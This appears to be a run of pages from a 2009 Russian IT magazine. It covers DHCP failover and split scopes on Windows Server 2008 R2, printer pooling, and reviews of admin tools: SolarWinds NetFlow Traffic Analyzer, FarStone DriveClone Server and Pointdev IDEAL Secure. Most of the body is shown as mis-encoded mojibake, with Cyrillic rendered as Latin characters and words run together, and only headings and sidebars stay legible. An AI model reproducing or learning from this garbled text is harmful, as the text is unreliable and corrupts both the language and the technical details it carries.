îïóáëèêîâàííîé â îêòÿáðüñêîìíîìåðå z çà 2008 ãîä; ìíîãèå ìîìåíòû ïîíàñòðîéêå ïåðåñåêàþòñÿ ñ ñîçäàíèåì êëàñòåðàäëÿ DHCP.Ñåðâåð Win2k8R2 ïîääåðæèâàåò ïðîòîêîë DHCPFailover (tools.ietf.org/html/draft-ietf-dhc-failover-12), èñïîëüçîâàíèå êîòîðîãî ïîçâîëÿåò äâóìñåðâåðàì ñèíõðîíèçèðîâàòü äàííûå îá àðåíäåàäðåñîâ ìåæäó ñîáîé, íî íà DHCP-çàïðîñûîòâå÷àåò òîëüêî îñíîâíîé ñåðâåð. Ðåçåðâíûé ïîäêëþ÷àåòñÿ,êîãäà íåäîñòóïåí ïåðâûé. Ó÷èòûâàÿ,÷òî îí «çíàåò» âñå, ÷òî âûäàë îñíîâíîé ñåðâåð,ïåðåõîä íà ðåçåðâíûé ïîëíîñòüþ ïðîçðà÷åí.Óñòàíîâêà ðîëè DHCP-ñåðâåðà ñòàíäàðòíà.Âûáèðàåì Add Roles â Server Manager, îòìå-÷àåì «DHCP Server» â ñïèñêå ðîëåé. Äàëååñëåäóþò íàñòðîéêè ðàáîòû ñåðâåðà. Ââîäèìíàñòðîéêè DNS-ñåðâåðà (äîìåí è IP-àäðåñ),çàòåì àäðåñ WINS-ñåðâåðà, åñëè òàêàÿ ñëóæáàáóäåò èñïîëüçîâàòüñÿ. Íà øàãå «DHCP Scope»çàäàåì äèàïàçîí IP, êîòîðûì áóäåò ðóëèòüíàø ñåðâåð. Ïðîñòî íàæèìàåì Add è ââîäèì:ïðîèçâîëüíîå íàçâàíèå, íà÷àëüíûé è êîíå÷íûéIP, òèï (áåñïðîâîäíàÿ, ïðîâîäíàÿ), àäðåñøëþçà è ìàñêó ñåòè. Ïî îêîí÷àíèè àêòèâèðóåìîáëàñòü, óñòàíîâèâ ôëàæîê «Activate this scope».Îïðåäåëÿåìñÿ, áóäåì ëè ðàçäàâàòü àäðåñà IPv6;åñëè íåò, ïåðåêëþ÷àåì íà øàãå «IPv6 statelessmode» ôëàæîê ñ Enable íà Disable. Ïðîâåðÿåìè ïîäòâåðæäàåì óñòàíîâêè, ùåëêàåì Install.Äàëåå íàñòðàèâàåì Failover Cluster, êàê îïèñàíîâ ñòàòüå «Áåçîòêàçíûé ôàéëîîáìåííèê».116НАСТРОЙКИ RIPV2 В WIN2K8R2Î÷åâèäíî, òàêîé ïîäõîä èìååò ïðåèìóùåñòâàâ áîëüøèõ ñåòÿõ, ãäå ñåðâåðû îáñëóæèâàþòáîëüøîå êîëè÷åñòâî çàïðîñîâ.  íåáîëüøèõêîìïàíèÿõ, ÷òîáû îðãàíèçîâàòü ðåçåðâèðîâàíèåDHCP, ÷àñòî èñïîëüçóþò âòîðîé,êàê ïðàâèëî, íåñèëüíî çàãðóæåííûé ñåðâåð,âûïîëíÿþùèé äðóãóþ ðàáîòó.  ýòîì ñëó÷àåIP-àäðåñà ìåæäó ñåðâåðàìè ðàñïðåäåëÿþòñÿ ïîñõåìå 80/20 (òàê ñîâåòóåò Microsoft è ìíîãèåèñòî÷íèêè, õîòÿ ýòî íå äîãìà, ìîæíî 70/30 èëè50/50), òî åñòü îñíîâíîé ñåðâåð áåðåò íà ñåáÿ80% àäðåñîâ, îñòàâøèåñÿ 20 äîñòàþòñÿ âòîðîìóñåðâåðó. Ðàññìîòðèì ñåòü êëàññà «Ñ»: ñåðâåðDHCP1 áåðåò íà ñåáÿ 192.168.1.1-200, ñåðâåðDHCP2 — 192.168.1.201-254. Âî èçáåæàíèåêîíôëèêòîâ íà îáîèõ ñåðâåðàõ íàñòðàèâàþòñÿèñêëþ÷àåìûå àäðåñà (Excluded Adresses), âêîòîðûå ïðîïèñûâàþòñÿ IP-àäðåñà, âûäàâàåìûåäðóãèì ñåðâåðîì. Åñëè îñíîâíîé ñåðâåðâûéäåò èç ñòðîÿ, ðåçåðâíûé ñìîæåò îòâå÷àòüíà çàïðîñû êëèåíòîâ è îáñëóæèâàòü èõ àðåíäó.Ïðè íåîáõîäèìîñòè âòîðîé ñåðâåð ìîæíî ëåãêîïåðåñòðîèòü íà ïîëíûé äèàïàçîí.Îñòàëîñü äîáàâèòü, ÷òî ïðè íàëè÷èè â ñåòèêîíòðîëëåðà äîìåíà ðîëü DHCP-ñåðâåðà îáû÷íîâîçëàãàþò èìåííî íà íåãî. Õîðîøåé ïðàêòèêîéÿâëÿåòñÿ èñïîëüçîâàíèå äâóõ êîíòðîëëåðîâäîìåíà; ïðè âûõîäå èç ñòðîÿ îäíîãî èç íèõ, âòîðîéáóäåò âûïîëíÿòü âñå âîçëîæåííûå çàäà÷è (âîññòàíîâëåíèåè ðåçåðâèðîâàíèå ÊÄ îïèñàíî â ñòàòüå«Ëîâè ìîìåíò» èþëüñêîãî íîìåðà z çà 2008 ãîä).СЕТЕВЫЕ ПРИНТЕРЫ Óïðàâëåíèå ñåòåâûìèïðèíòåðàìè — äåëî âåñüìà õëîïîòíîå: ñòîèòâûéòè èç ñòðîÿ îäíîìó, êàê àäìèíû âûíóæäåíûáóäóò ðàçáèðàòüñÿ ñ íåäîâîëüíûìèìåíåäæåðàìè è äðóãèìè ïðåäñòàâèòåëÿìèîôèñíîé ôàóíû. ×àñòî óïðîñòèòü ñåáå æèçíüìîæíî, ñãðóïïèðîâàâ íåñêîëüêî èäåíòè÷íûõïðèíòåðîâ (èìååòñÿ â âèäó, ÷òî ïðèíòåðûäîëæíû èìåòü îäíîãî ïðîèçâîäèòåëÿ,îäèíàêîâûå ìîäåëè, îäèíàêîâîå êîëè-÷åñòâî ïàìÿòè è èñïîëüçîâàòü îäèíàêîâûåäðàéâåðà, — Ïðèì.ðåä.) â ïóë.  ýòîìñëó÷àå êëèåíòñêèå ñèñòåìû îòñûëàþò çàäàíèÿíà îäíî ëîãè÷åñêîå óñòðîéñòâî ïå÷àòè, àñåðâåð óæå ñàìîñòîÿòåëüíî ïåðåíàïðàâëÿåò èõïåðâîìó äîñòóïíîìó ôèçè÷åñêîìó ïðèíòåðó.Òàêîé ïîäõîä ïîçâîëèò íå òîëüêî ïîâûñèòüäîñòóïíîñòü, íî è ðàâíîìåðíåå ðàñïðåäåëèòüíàãðóçêó íà ïðèíòåðû, óâåëè÷èòü îòêëèê, à çíà-÷èò, è ïðîèçâîäèòåëüíîñòü (ïóëèíã íå äîïóñòèòñèòóàöèè, êîãäà îäèí ïðèíòåð ïðîñòàèâàåò, àâòîðîé çàâàëåí çàäàíèÿìè). Õîòÿ íå ñëåäóåòáåçäóìíî âêëþ÷àòü ýòó îïöèþ, íåîáõîäèìîó÷èòûâàòü è ôèçè÷åñêîå ðàñïîëîæåíèå ïðèíòåðîâ.Âðÿä ëè ïîëüçîâàòåëè áóäóò â âîñòîðãå,÷òî íóæíî áåãàòü ïî ýòàæàì â ïîèñêàõ ñâîèõðàñïå÷àòîê. Êðîìå òîãî, âåñüìà íåæåëàòåëüíî,÷òîáû öåííûå äîêóìåíòû ïîïàäàëè íà ãëàçàòåì ëèöàì, äëÿ êîòîðûõ îíè íå ïðåäíàçíà÷åíû.Ñãðóïïèðîâàòü ïðèíòåðû â ïóë äîñòàòî÷íîïðîñòî. Äëÿ ýòîãî ñëåäóåò ïåðåéòè âî âêëàäêó«Óñòðîéñòâà è Ïðèíòåðû» (Devices and Printers),ðàñïîëîæåííóþ â «Ïàíåëè óïðàâëåíèÿ» (ControlCenter), âûçâàòü îêíî ñâîéñòâ îäíîãî èç ïðèíòåðîâ,êîòîðûå áóäóò äîáàâëåíû â ïóë, è ïåðåéòèâî âêëàäêó «Ports». Çäåñü òðåáóåòñÿ óñòàíîâèòüôëàæîê «Enable printer pooling» è îòìåòèòü óñòðîéñòâà,êîòîðûå áóäóò çàâÿçàíû â ïóë.Åùå îäíà ðåìàðêà îò ðåäàêòîðà: ïóëèíã îáåñïå-÷èâàåò âûñîêóþ äîñòóïíîñòü è îòêàçîóñòîé÷èâîñòüäëÿ ïðèíòåðîâ, íî íå äëÿ ñåðâåðà ïå÷àòè,ïîýòîìó ïðè íåîáõîäèìîñòè ìîæíî íàñòðîèòüêëàñòåð ïå÷àòè ïî àíàëîãèè ñ òåì, ÷òî ðàññêàçûâàåòñÿâ óïîìÿíóòîé âûøå ñòàòüå «Áåçîòêàçíûéôàéëîîáìåííèê».ЗАКЛЮЧЕНИЕ Êàê âèäèøü, ÷òîáû ïîñòðîèòüîòêàçîóñòîé÷èâóþ ñåòü, íóæíî ñäåëàòü ñîâñåìíåìíîãî. Áîëüøàÿ ÷àñòü îïèñàííûõ òåõíîëîãèéíå òðåáóåò çíà÷èòåëüíûõ âðåìåííûõ èëèôèíàíñîâûõ çàòðàò, âñå äîñòàòî÷íî ïðîñòî è,ìîæíî ñêàçàòü, îáûäåííî.  îáìåí òû ïîëó÷èøüêó÷ó ñâîáîäíîãî âðåìåíè, à òàêæå óâàæåíèåêîëëåã ïî ðàáîòå. Óäà÷è! zXÀÊÅÐ 12 /132/ 09


Реклама


SYN\ACKМАРТИН ПРАНКЕВИЧ URBAN.PRANKSTER@GMAIL.COMБоевой арсеналсисадминаОбзор полезного админского софтаСисадмину в своей работе постоянно приходится сталкиваться с большимколичеством самых разнообразных задач. Не все проблемы можнорешить средствами ОС, поэтому специализированный софт на любойслучай жизни должен быть всегда под рукой.Представленный в статье боекомплект будет хорошимподспорьем как в повседневных делах, так и в большинственештатных ситуаций.SOLARWINDS ORION NETFLOW TRAFFICANALYZER (NTA) 3.5Ðàçðàáîò÷èê: SolarWindsWeb: www.solarwinds.com/products/orion/ntaÑèñòåìíûå òðåáîâàíèÿ: Pentium III 1 ÃÃö èâûøå, 512 Ìá ÎÇÓÎÑ: Windows 2003/2008 Server 32/64 áèòÐàíî èëè ïîçäíî äàæå â òùàòåëüíî ñïëàíèðîâàííîéñåòè, ïîñòðîåííîé ñ çàïàñîì«ïðî÷íîñòè», ìîãóò âîçíèêàòü ïåðåáîè,êîòîðûõ, êàçàëîñü áû, íå äîëæíî áûòü äàæåòåîðåòè÷åñêè. Ïàäàåò ïðîèçâîäèòåëüíîñòü,âîçíèêàþò çàäåðæêè, ê êîòîðûì â ïåðâóþî÷åðåäü ÷óâñòâèòåëüíû ñåðâèñû, ðàáîòàþùèåñ ìóëüòèìåäèà äàííûìè è VoIP. ÈñïîëüçîâàíèåQoS, êàê ïðàâèëî, ïîìîãàåò íåçíà÷èòåëüíî,äà è îöåíèòü ýôôåêòèâíîñòü ïðîèçâåäåííûõóñòàíîâîê íå ñ ÷åì. Áîëüøàÿ ÷àñòü ïðîãðàìì(êàê ñíèôåð tcpdump) ôèêñèðóåò ëèøü îáúåìòðàôèêà, èñòî÷íèê è íàçíà÷åíèå, íî îïðåäåëèòüïîäîáíóþ ïðîáëåìó ñ èõ ïîìîùüþíåâîçìîæíî.Ïåðâàÿ ìûñëü, êîòîðàÿ ïðèõîäèò â ãîëîâó —óâåëè÷èòü ïðîèçâîäèòåëüíîñòü çà ñ÷åòïîêóïêè íîâûõ êîììóòàòîðîâ è ñåòåâûõ êàðò,îáåñïå÷èâàþùèõ áîëüøóþ ïðîïóñêíóþ ñïîñîáíîñòü,èçìåíåíèÿ òîïîëîãèè è ïðîêëàäêèåùå ïàðû ñîòåí ìåòðîâ êàáåëÿ. Âñå ýòî âåäåòê äîïîëíèòåëüíûì çàòðàòàì (äåíåæíûì èâðåìåííÛì), êîòîðûå îïÿòü æå íå ïîíÿòíî,êàê ïîäåéñòâóþò. Íî åñòü è äðóãîé âûõîä —ïðèìåíèòü ñïåöèàëüíûå èíñòðóìåíòû, îòñëåäèòüè íàéòè ïðè÷èíó çàòîðîâ. Îäíîé èç òàêèõïðîãðàìì ÿâëÿåòñÿ SolarWinds Orion NetFlow118Traffic Analyzer (NTA), êîòîðàÿ, èñïîëüçóÿ ïðîòîêîëûCisco NetFlow, J-Flow, sFlow è IPFIX (IPFlow Information Export), ñîáèðàåò ñ ðîóòåðîâñòàòèñòèêó ïî ñåòåâîìó òðàôèêó è âûäàåò ââèçóàëüíîé ôîðìå âñþ èíôîðìàöèþ ïî åãî èíòåíñèâíîñòèè íàïðàâëåíèþ. Àäìèíèñòðàòîðïðè ïîìîùè NTA ïîëó÷àåò ïîëíîå ïðåäñòàâëåíèåî òîì, ñêîëüêî è êàêîé ïîëüçîâàòåëü, ïðîòîêîëèëè ïðèëîæåíèå ïîòðåáëÿåò òðàôèêà.Ðåçóëüòàò âûâîäèòñÿ â âèäå òàáëèö è, ÷òî áîëååíàãëÿäíî, ñïåöèàëüíûõ ñõåì. Âèçóàëüíîåïðåäñòàâëåíèå ïîçâîëÿåò ÷åòêî îöåíèòü çàãðóçêóñåòè è ïðèíÿòü ïðàâèëüíîå ðåøåíèå. Íàãðàôèêàõ âèäíû ó÷àñòêè, ãäå òåðÿåòñÿ áîëüøåïàêåòîâ, óçëû ñ áîëüøèì âðåìåíåì îòâåòà,ïîêàçàíà çàãðóçêà CPU íà óçëàõ, äîñòóïåíõèò-ïàðàä ñàìûõ ïðîæîðëèâûõ äî ïàìÿòèïðîãðàìì. Ïîëó÷åííûå äàííûå ïîçâîëÿþò ñîñòàâèòüñõåìó ðîñòà ñåòè, îïðåäåëèòü çàòðàòûíà òðàôèê. Ïðîãðàììà ïðàâèëüíî ðàñïîçíàåòðàñïðåäåëåíèå òðàôèêà ìåæäó ðàçëè÷íûìèèñòî÷íèêàìè (HTTP, FTP, VoIP è òàê äàëåå)è ïîçâîëÿåò îöåíèòü óòå÷êó ÷åðåç âíåøíèåèñòî÷íèêè è ïðèëîæåíèÿ. Èìååòñÿ ïîëíîñòüþíàñòðàèâàåìûé ìîíèòîð òðàôèêà.Òàêæå ñòîèò îòìåòèòü ñèñòåìó îò÷åòîâ, ïîçâîëÿþùóþïîëó÷èòü äàííûå ïî ëþáîìó âîïðîñóáóêâàëüíî çà ïàðó êëèêîâ. Äîñòóïíû è îò÷åòûïî ðàáîòå ïðîòîêîëà Cisco CBQoS (Class BasedQuality of Service, êîíòðîëü êà÷åñòâà îáñëóæèâàíèÿñ ðàçáèâêîé ïî êëàññàì), ÷òî äàåòâîçìîæíîñòü îöåíèòü ýôôåêòèâíîñòü ïðîèçâåäåííûõíàñòðîåê. Cisco CBQoS èñïîëüçóåòñÿàäìèíèñòðàòîðàìè ïðè ñîçäàíèè ïîëèòèê,îáåñïå÷èâàþùèõ ìàêñèìàëüíóþ ïðîèçâîäèòåëüíîñòüâàæíûì ñåðâèñàì.Äåìî-âåðñèþ, êîòîðàÿ áóäåò ïîëíîñòüþôóíêöèîíàëüíà â òå÷åíèå 30 äíåé, ìîæíîñâîáîäíî ñêà÷àòü ñ ñàéòà ïðîèçâîäèòåëÿ. Äëÿóñòàíîâêè, êðîìå ñîáñòâåííî NTA, ïîíàäîáèòñÿOrion Network Perfomance Monitor (NMP),ïîýòîìó, êîãäà ïðè çàãðóçêå áóäåò ïðåäëîæåíîâêëþ÷èòü â àðõèâ è NMP, îòêàçûâàòüñÿ íåñòîèò. Òðåáîâàíèÿ ê æåëåçó, óêàçàííûå íàñàéòå, îïðåäåëÿþòñÿ çàïðîñàìè NTA, à ýòî CPU3 ÃÃö è 3 Ãá RAM, íî íà ñàìîì äåëå äîñòàòî÷íîìèíèìàëüíî íåîáõîäèìûõ äëÿ ðàáîòû ÎÑ. ×òîêàñàåòñÿ ñîôòîâûõ ðåêîìåíäàöèé, òî îíè ñëåäóþùèå:IIS è SQL Server 2005SP1/2008 â ëþáîìâàðèàíòå (Express/Standard/Enterprise). Âçàâèñèìîñòè îò íàëè÷èÿ SQL ñåðâåðà, ìîæíîâûáðàòü Advanced èëè Express óñòàíîâêó, âïîñëåäíåì ñëó÷àå áóäåò àâòîìàòè÷åñêè èíñòàëëèðîâàíSQL Express. Õî÷ó íàïîìíèòü, ÷òîáåñïëàòíûé SQL Express èìååò ñâîè îãðàíè-÷åíèÿ: áàçà äàííûõ äî 4 Ãá, ïîääåðæèâàåòñÿòîëüêî 1 CPU. Ïîýòîìó åãî ïðèìåíåíèå äëÿõðàíåíèÿ èíôîðìàöèè, ñîáðàííîé NTA â áîëüøèõñåòÿõ, ìîæåò áûòü íåîïðàâäàííî. Ïåðåäçàïóñêîì èíñòàëëÿòîðà óñòàíàâëèâàåì ðîëü IIS(ïîäðîáíîñòè ñì. â ñòàòüå «Ñëîåíûé VPN» èçz_08_2008).Íå çàáûâàåì îòêðûòü â áðàíäìàóýðå ïîðò2055/udp, êîòîðûé èñïîëüçóåòñÿ NTA äëÿ ñáîðàNetFlow èíôîðìàöèè, è 17777/tcp — îáìåíäàííûìè ìåæäó NTA è NMP. Äàëåå â NetFlowWeb Console (ðåãèñòðèðóåìñÿ êàê admin, áåçïàðîëÿ) ïðè ïîìîùè «Network Sonar Wizard»ïîäêëþ÷àåì Flow èñòî÷íèêè, ñ êîòîðûõ áóäåìñîáèðàòü èíôîðìàöèþ.XÀÊÅÐ 12 /132/ 09


 öåëîì, èíòåðôåéñ ïðîãðàììû äîñòàòî÷íî ïðîñò, õîòÿ íåêîòîðîåâðåìÿ âñå æå ïðèäåòñÿ ïîòðàòèòü íà åãî îñâîåíèå.  ñêà÷àííûõ àðõèâàõïðîãðàììû íàéäåøü äîêóìåíòàöèþ íà ÿçûêå Øåêñïèðà, íî ïîøàãîâûåèíñòðóêöèè ìàñòåðîâ ïîíÿòíû è áåç ïåðåâîäà.FARSTONE DRIVECLONE SERVER V6.0Ðàçðàáîò÷èê: FarStone Technology, Inc.Web: www.farstone.com/software/driveclone-server.htmÑèñòåìíûå òðåáîâàíèÿ: Pentium III è âûøå, 512 Ìá ÎÇÓ (1 Ãá Vista)Cåðâåðíûå Win ÎÑ: Windows Server 2003 SP2/R2 (32/64 áèò),Windows Server 2008Äåñêòîïíûå Win ÎÑ: Windows XP/Vista/7 (32/64 áèò)Linux: SUSE, Red Hat, Fedora, Ubuntu, Mandriva (âåðñèÿ Express)Íà ñåðâåðàõ è êîìïüþòåðàõ ïîëüçîâàòåëåé õðàíÿòñÿ òîííû öåííîéèíôîðìàöèè, ïîýòîìó îäíîé èç âàæíûõ çàäà÷ ëþáîãî ñèñàäìèíàÿâëÿåòñÿ åå ñîõðàíåíèå — ðåçåðâèðîâàíèå è âîññòàíîâëåíèå â ñëó÷àåíåîáõîäèìîñòè. Ðåøåíèé, ïðåäíàçíà÷åííûõ äëÿ ðåçåðâíîãî êîïèðîâàíèÿäàííûõ, ñåãîäíÿ áîëåå ÷åì ïðåäîñòàòî÷íî. Âñå îíè îòëè÷àþòñÿôóíêöèîíàëüíî, ñïèñêîì ïîääåðæèâàåìûõ ÎÑ è ôàéëîâûõ ñèñòåì(îáçîð Acronis True Image Enterprise Server ÷èòàé â X_03_2007). Íàïîñòñîâåòñêîì ïðîñòðàíñòâå FarStone DriveClone Server (DCS) ìåíååèçâåñòåí, íåñìîòðÿ íà ïðîñòîòó â èñïîëüçîâàíèè è ôóíêöèîíàëüíîñòü.Òàê DCS ïîçâîëÿåò ñîõðàíÿòü äàííûå ïóòåì ðåçåðâíîãî êîïèðîâàíèÿè ñîçäàíèÿ ñíèìêîâ ðàçäåëîâ èëè âñåãî æåñòêîãî äèñêà. Ïîääåðæèâàþòñÿäèñêîâûå ìàññèâû RAID 0/1/5/10, JBOD è ìíîãèå ïîïóëÿðíûåôàéëîâûå ñèñòåìû: FAT32, NTFS, Linux EXT2/3. Ðàçäåëû ñ íåèçâåñòíîéïðîãå ÔÑ êîïèðóþòñÿ ïîñåêòîðíî, ïîýòîìó îãðàíè÷åíèé ôàêòè÷åñêèíåò. Ðåçåðâíàÿ êîïèÿ ìîæåò ñîäåðæàòü ôàéëû ÎÑ, áàçó SQL, ExchangeServer, Share Point è ôàéëû íåêîòîðûõ äðóãèõ óñòàíîâëåííûõ ñåðâåðîâ.Âñþ ïåðñîíàëüíóþ èíôîðìàöèþ, ôàéëû ÎÑ, íàñòðîéêè ïðîãðàìì èïðî÷èå âàæíûå óñòàíîâêè ïðîãà äóáëèðóåò â âèäå îòäåëüíîãî àðõèâàíà: CD/DVD äèñê, USB-óñòðîéñòâî, FTP-ñåðâåð èëè äðóãîé æåñòêèé äèñêêîìïüþòåðà. ×òîáû óáåðå÷ü öåííûå äàííûå îò ÷óæèõ ãëàç, àðõèâ øèôðóåòñÿïðè ïîìîùè AES ñ êëþ÷îì 128/192/256 áèò. Åñòü âîçìîæíîñòüðåäàêòèðîâàíèÿ ôàéëîâ â îáðàçå.Òåõíîëîãèÿ ñîçäàíèÿ ñíèìêîâ ïîëó÷èëà íàçâàíèå System Snapshot èïîçâîëÿåò èñïîëüçîâàòü ñîçäàííûå ìãíîâåííûå ñíèìêè äëÿ âîçâðàùåíèÿñèñòåìû â ðàáî÷åå ñîñòîÿíèå ïîñëå ñáîÿ. DCS óìååò êîïèðîâàòüè îòêðûòûå ïðèëîæåíèÿìè ôàéëû, íàä êîòîðûìè åùå ïðîèçâîäèòñÿðàáîòà, ãàðàíòèðóÿ öåëîñòíîñòü ðåçåðâíîé êîïèè, ïîääåðæèâàåòñÿ òåõíîëîãèÿòåíåâîãî êîïèðîâàíèÿ (Volume Shadow Copy). Ñíèìîê òàêæåïîçâîëÿåò áûñòðî «ïåðåìåñòèòü» ñåðâåð íà íîâûé äèñê èëè îáîðóäîâàíèå.Èíôîðìàöèþ íà ñòàðîì äèñêå ìîæíî ãàðàíòèðîâàííî óíè÷òîæèòüïðè ïîìîùè øðåäåðà, ðàáîòàþùåãî ïî ìåòîäó óäàëåíèÿ äàííûõ USDepartment of Defense (5220.22-M).Ñíàïøîò äèñêà íà ðàáî÷åé ñèñòåìå ñîçäàåòñÿ çà 5-10 ñåêóíä, ñèñòåìàìîæåò áûòü âîññòàíîâëåíà áóêâàëüíî çà ìèíóòó. Êëîíèðîâàíèå ñèñòåìçàìåòíî óïðîùàåò îïåðàöèþ ðàçâåðòûâàíèÿ ÎÑ íà áîëüøîì êîëè-÷åñòâî êîìïüþòåðîâ. Åñëè êëîíèðóåòñÿ äèñê èíûõ ðàçìåðîâ, ÷åì íàïðèåìíèêå, DriveClone ìîæåò èçìåíÿòü îáúåì ëîãè÷åñêèõ ðàçäåëîâ.Ïðåäóñìîòðåíà âîçìîæíîñòü ñîçäàíèÿ çàãðóçî÷íûõ äèñêîâ, ñîäåðæàùèõâñå íåîáõîäèìîå ÏÎ. Ïîääåðæêà PXE äàåò âîçìîæíîñòü ðàçâåðíóòüXÀÊÅÐ 12 /132/ 09 119


SYN\ACKINFOinfo• DriveClone загружаетсяраньше ОС идоступна даже в томслучае, когда ОС серверане запускается, чтопозволяет при необходимостивосстановитьупавшую операционку.• ФункциональноNetOp Remote Controlсостоит из двух основныхмодулей: Host иGuest.• Современные ОСWindows, Linux, *BSDподдерживают softRAID 0, 1 и 5.• RAID Reconstructorподдерживает массивыRAID 0 и 5, состоящие из2-14 дисков.В НАСТРОЙКЕ ORION NTA ПОМОГАЮТ МАСТЕРАDVDdvdВ видеоролике,который ты найдешьна прилагаемомк журналу диске,продемонстрированыосновныевозможности утилитRAID Reconstructor,DameWare NTUtilities, NetOpRemote Control,POINTDEV IDEALSecure и FarStoneDriveClone Server.За создание этогоролика хочу поблагодаритьсвоего другаи коллегу СергеяЯремчука.120ñíèìîê íà ëþáîì êîìïüþòåðå ïî ñåòè. Ñîçäàííûé îáðàçäèñêà ëåãêî êîíâåðòèðóåòñÿ â îáðàç VMware Virtual Disk,ïðèãîäíûé äëÿ èñïîëüçîâàíèÿ â îäíîèìåííîé âèðòóàëüíîéìàøèíå.Ïðîãðàììà DriveClone çàãðóæàåòñÿ ðàíüøå ÎÑ è äîñòóïíàäàæå â òîì ñëó÷àå, êîãäà ÎÑ ñåðâåðà íå çàïóñêàåòñÿ, ÷òîïîçâîëÿåò ïðè íåîáõîäèìîñòè âîññòàíîâèòü óïàâøóþîïåðàöèîíêó.Íà ñàéòå ïðîåêòà ìîæíî ñêà÷àòü òðèàë âåðñèþ, êîòîðàÿáóäåò ïîëíîôóíêöèîíàëüíà â òå÷åíèå 14 äíåé. Èíòåðôåéñïðîãðàììû äîñòàòî÷íî ïðîñò, õîòÿ è íå ëîêàëèçîâàí.Âûáèðàåì îäíó èç ïÿòè âêëàäîê, ñîîòâåòñòâóþùóþ äàëüíåéøåéçàäà÷å (Back Up, Restore, Clone è ïð.), äàëåå âñå îñíîâíûåîïåðàöèè îñóùåñòâëÿþòñÿ ïðè ïîìîùè ìàñòåðîâ,ïîìîãàþùèõ áûñòðî ïðîèçâåñòè íåîáõîäèìûå óñòàíîâêè èçàïóñòèòü ïðîöåññ ñîçäàíèÿ êîïèè/âîññòàíîâëåíèÿ.Äîïîëíèòåëüíî ñòîèò îòìåòèòü íàëè÷èå âåðñèè Express, íåòðåáóþùåé óñòàíîâêè íà õàðä (ðàáîòàåò ñ CD).POINTDEV IDEAL SECURE V.1.8Ðàçðàáîò÷èê: PointdevWeb: www.pointdev.comÑèñòåìíûå òðåáîâàíèÿ: ìèíèìàëüíûå ñèñòåìíûåòðåáîâàíèÿ, ïðåäúÿâëÿåìûå ê ÎÑÎÑ: Windows NT/XP/Vista/2000/2003/2008/7 (32/64áèò)Óïðàâëåíèå áîëüøèì ïàðêîì ðàçíîðîäíûõ ñèñòåì íèêîãäàíå áûëî ïðîñòîé çàäà÷åé, ãäå-òî ïîìîãàþò ïîëèòèêè GPO,ãäå-òî ñêðèïòû, ãäå-òî îïûò, íî âñå ðàâíî äîïóñêàþòñÿäîñàäíûå îøèáêè, êîòîðûõ õîòåëîñü áû è ìîæíî èçáåæàòü.Ðåøåíèå POINTDEV IDEAL Secure ïîçâîëÿåò îñóùåñòâëÿòüóäàëåííîå óïðàâëåíèå ðàçíîðîäíûìè ñèñòåìàìè,îïòèìèçèðîâàòü íàñòðîéêè è ïîâûñèòü çàùèùåííîñòü.Äëÿ ïîäêëþ÷åíèÿ ê êëèåíòñêèì ñèñòåìàì íå ïîòðåáóåòñÿóñòàíîâêà äîïîëíèòåëüíûõ àãåíòîâ, òîëüêî ñîîòâåòñòâóþùèåïðàâà. Ïîýòîìó ðàçâåðòûâàíèå çàêëþ÷àåòñÿ, ïî ñóòè,â óñòàíîâêå êîíñîëè IDEAL Secure íà êîìïüþòåð àäìèíà.Êëèåíòñêàÿ ñèñòåìà ìîæåò íàõîäèòüñÿ â ëîêàëüíîé ñåòè,èíòåðíåò èëè âèðòóàëüíîé ÷àñòíîé ñåòè. Ïðîãðàììà èìååòóäîáíûé èíòåðôåéñ, êîòîðûé ïîçâîëÿåò óïðàâëÿòü îäíèìèëè ëþáûì êîëè÷åñòâîì êîìïüþòåðîâ, ïîäêëþ÷èâøèñü êíåìó èíäèâèäóàëüíî èëè âûáðàâ ãðóïïó NetBIOS, îáúåêòûActive Directory. Ïîñëå ïîäêëþ÷åíèÿ ê ëîêàëüíîé/óäàëåííîéñèñòåìå àäìèíèñòðàòîð ïîëó÷àåò ïîëíûé äîñòóïê íàñòðîéêàì âñåõ åå ïàðàìåòðîâ. Íàïðèìåð, âî âêëàäêåAction íàõîäèì ÷åòûðå ãðóïïû ïàðàìåòðîâ: Windows,Hardware, Network è Windows Components. Ïðè âûáîðåîäíîãî èç ïóíêòîâ îí ðàñêðûâàåòñÿ íà ïîäêîìïîíåíòû,îáåñïå÷èâàþùèå äîñòóï ê ñïåöèôè÷åñêèì íàñòðîéêàì(Desktop, System, Windows Update, Network and InternetConnection è ò.ï.) Äàëåå âûáèðàåì êîíêðåòíûé ïàðàìåòð èàêòèâèðóåì/îòêëþ÷àåì åãî. Óäîáíî, ÷òî âûáîð âîçìîæíûõäåéñòâèé ïðåäñòàâëåí â çàâèñèìîñòè îò âåðñèè ÎÑ, ïîýòîìóíå íóæíî ëîìàòü ãîëîâó, ÷òî è äëÿ êàêîé Windows íóæíîâêëþ÷àòü. Äëÿ óäîáñòâà ÷àñòî èñïîëüçóåìûå íàñòðîéêèñîõðàíÿþòñÿ â Favorites. Êðîìå êàòåãîðèé, îðãàíèçîâàíïîèñê ïàðàìåòðîâ ïî êëþ÷åâîìó ñëîâó (íàïðèìåð «CD-ROM"), ÷òî ïîçâîëÿåò áûñòðî íàéòè âñå íåîáõîäèìîå. ×òîáûíå ïðèìåíÿòü âñå Action ïî îäíîìó, èñïîëüçóÿ êíîïêó«Add», èõ ñîáèðàþò â «Selected Actions» è çàòåì àêòèâèðóþòîäíîâðåìåííî. Ñîáðàííûå òàêèì îáðàçîì ãðóïïû óñòàíîâîêîïÿòü ñîõðàíÿþòñÿ è ïðè íåîáõîäèìîñòè ïîâòîðíîàêòèâèðóþòñÿ.  ìåíþ äîñòóïåí ðåäàêòîð äåéñòâèé (ActionEditor) — ìàñòåð, ïðè ïîìîùè êîòîðîãî ìîæíî îòðåäàêòèðîâàòüèëè ñîçäàòü íîâûé íàáîð íàñòðîåê.Êðîìå ýòîãî, ðÿä äåéñòâèé ðàñïðåäåëåí ïî òåìàì (Themes),â êîòîðûõ ñîáðàíû íàèáîëåå âîñòðåáîâàííûå óñòàíîâêè(ñïðÿòàòü êîíñîëü «Óñòàíîâêà è óäàëåíèå ïðîãðàìì»,XÀÊÅÐ 12 /132/ 09


